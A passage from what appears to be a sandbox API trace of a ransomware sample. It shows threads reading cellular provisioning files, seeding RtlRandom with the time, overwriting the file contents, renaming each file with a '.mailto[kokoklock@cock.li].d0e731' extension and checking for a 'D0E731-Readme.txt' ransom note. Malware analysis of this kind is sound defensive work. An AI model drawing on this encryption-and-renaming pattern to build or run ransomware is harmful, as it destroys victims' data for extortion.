lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d2bfca0*=0x4, lpOverlapped=0x0) returned 1 [0086.169] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d2bfca0*=0x6c, lpOverlapped=0x0) returned 1 [0086.169] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d2bfca0*=0x20, lpOverlapped=0x0) returned 1 [0086.169] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d2bfca0*=0x4, lpOverlapped=0x0) returned 1 [0086.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd650) returned 1 [0086.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd678) returned 1 [0086.169] CloseHandle (hObject=0xa30) returned 1 [0086.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x3420488 [0086.171] wcscpy (in: _Dest=0x3420488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" [0086.171] wcscat (in: _Dest=0x3420488, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.171] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420488) returned 1 [0086.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.172] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.172] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.173] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420338) returned 1 [0086.173] RtlExitUserThread (Status=0x1) Thread: id = 1293 os_tid = 0x1148 [0085.383] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.119] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.136] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.136] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d33fb24 | out: lpFileSize=0x2d33fb24*=726) returned 1 [0086.136] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.136] ReadFile (in: hFile=0xa30, lpBuffer=0x2d33faf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x2d33faf8*, lpNumberOfBytesRead=0x2d33faf4*=0x4, lpOverlapped=0x0) returned 1 [0086.137] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd600 [0086.137] NtQuerySystemTime (in: CurrentTime=0x2d33fad0 | out: CurrentTime=0x2d33fad0*=132121176440235037) returned 0x0 [0086.137] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x648c0d7b [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xf1dd3ad1 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xf37f6be0 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x801334b6 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x51b80725 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xe670386b [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xb07d41ee [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xefbc0f6d [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xa9317529 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x4e4eb93f [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x1176ccc6 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xbe5ddaed [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x39d4d270 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x70186f99 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x39bc32b0 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x8de823f5 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xe7438c6d [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x3bb789b6 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x12e3eb7f [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xde25cc8b [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x8fa82e57 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xaf208ae1 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xf78c0d2e [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x78f67de [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x54696539 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xdf0759f8 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x34e1c608 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x46a42a74 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x2ca3e556 [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x47bf1c9b [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0xed2ddebf [0086.138] RtlRandom (in: Seed=0x2d33fadc | out: Seed=0x2d33fadc) returned 0x276a5622 [0086.148] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.149] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x2d33fad0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d33fad0*=0x2d6, lpOverlapped=0x0) returned 1 [0086.149] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d33fa98 | out: lpNewFilePointer=0x0) returned 1 [0086.149] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d6, lpNumberOfBytesWritten=0x2d33facc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d33facc*=0x2d6, lpOverlapped=0x0) returned 1 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd678 [0086.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.149] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd678*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d33fac8, lpOverlapped=0x0 | out: lpBuffer=0x55dd678*, lpNumberOfBytesWritten=0x2d33fac8*=0x20, lpOverlapped=0x0) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd678) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.149] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x55dd650*, lpNumberOfBytesWritten=0x2d33faf4*=0x8, lpOverlapped=0x0) returned 1 [0086.150] WriteFile (in: hFile=0xa30, lpBuffer=0x2d33fb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x2d33fb0c*, lpNumberOfBytesWritten=0x2d33faf4*=0x4, lpOverlapped=0x0) returned 1 [0086.150] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d33faf4*=0x4, lpOverlapped=0x0) returned 1 [0086.150] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d33faf4*=0x6c, lpOverlapped=0x0) returned 1 [0086.150] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d33faf4*=0x20, lpOverlapped=0x0) returned 1 [0086.150] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d33faf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d33faf4*=0x4, lpOverlapped=0x0) returned 1 [0086.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd628) returned 1 [0086.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd650) returned 1 [0086.150] CloseHandle (hObject=0xa30) returned 1 [0086.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x19a) returned 0x341a7f8 [0086.150] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" [0086.150] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.150] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.152] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.152] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.152] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420488) returned 1 [0086.152] RtlExitUserThread (Status=0x1) Thread: id = 1294 os_tid = 0x114c [0085.383] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.102] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.118] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.118] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d3bfb98 | out: lpFileSize=0x2d3bfb98*=704) returned 1 [0086.118] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.118] ReadFile (in: hFile=0xa30, lpBuffer=0x2d3bfb6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x2d3bfb6c*, lpNumberOfBytesRead=0x2d3bfb68*=0x4, lpOverlapped=0x0) returned 1 [0086.120] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5d8 [0086.120] NtQuerySystemTime (in: CurrentTime=0x2d3bfb44 | out: CurrentTime=0x2d3bfb44*=132121176440078842) returned 0x0 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x1826b538 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xd5f58892 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x87f6db70 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xa66feeab [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xf0eb42dd [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x99eb94ec [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xd243605 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xe623923f [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x5226b0a5 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xf9c0f952 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xb879ed74 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xfe13bd8c [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xe7da83c5 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x8cbf4448 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xb2d8bc4 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x2679f7c8 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x2d844f05 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xd8bf37f5 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xd607d83e [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x66986098 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xae913527 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x84c25914 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xb2702ed2 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xc625bef7 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x9a9b96e9 [0086.120] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x3e3e870c [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x8ceafa88 [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xa5bedf62 [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x651b7614 [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x7670b486 [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0xb3404a56 [0086.121] RtlRandom (in: Seed=0x2d3bfb50 | out: Seed=0x2d3bfb50) returned 0x37314f13 [0086.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd650 [0086.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 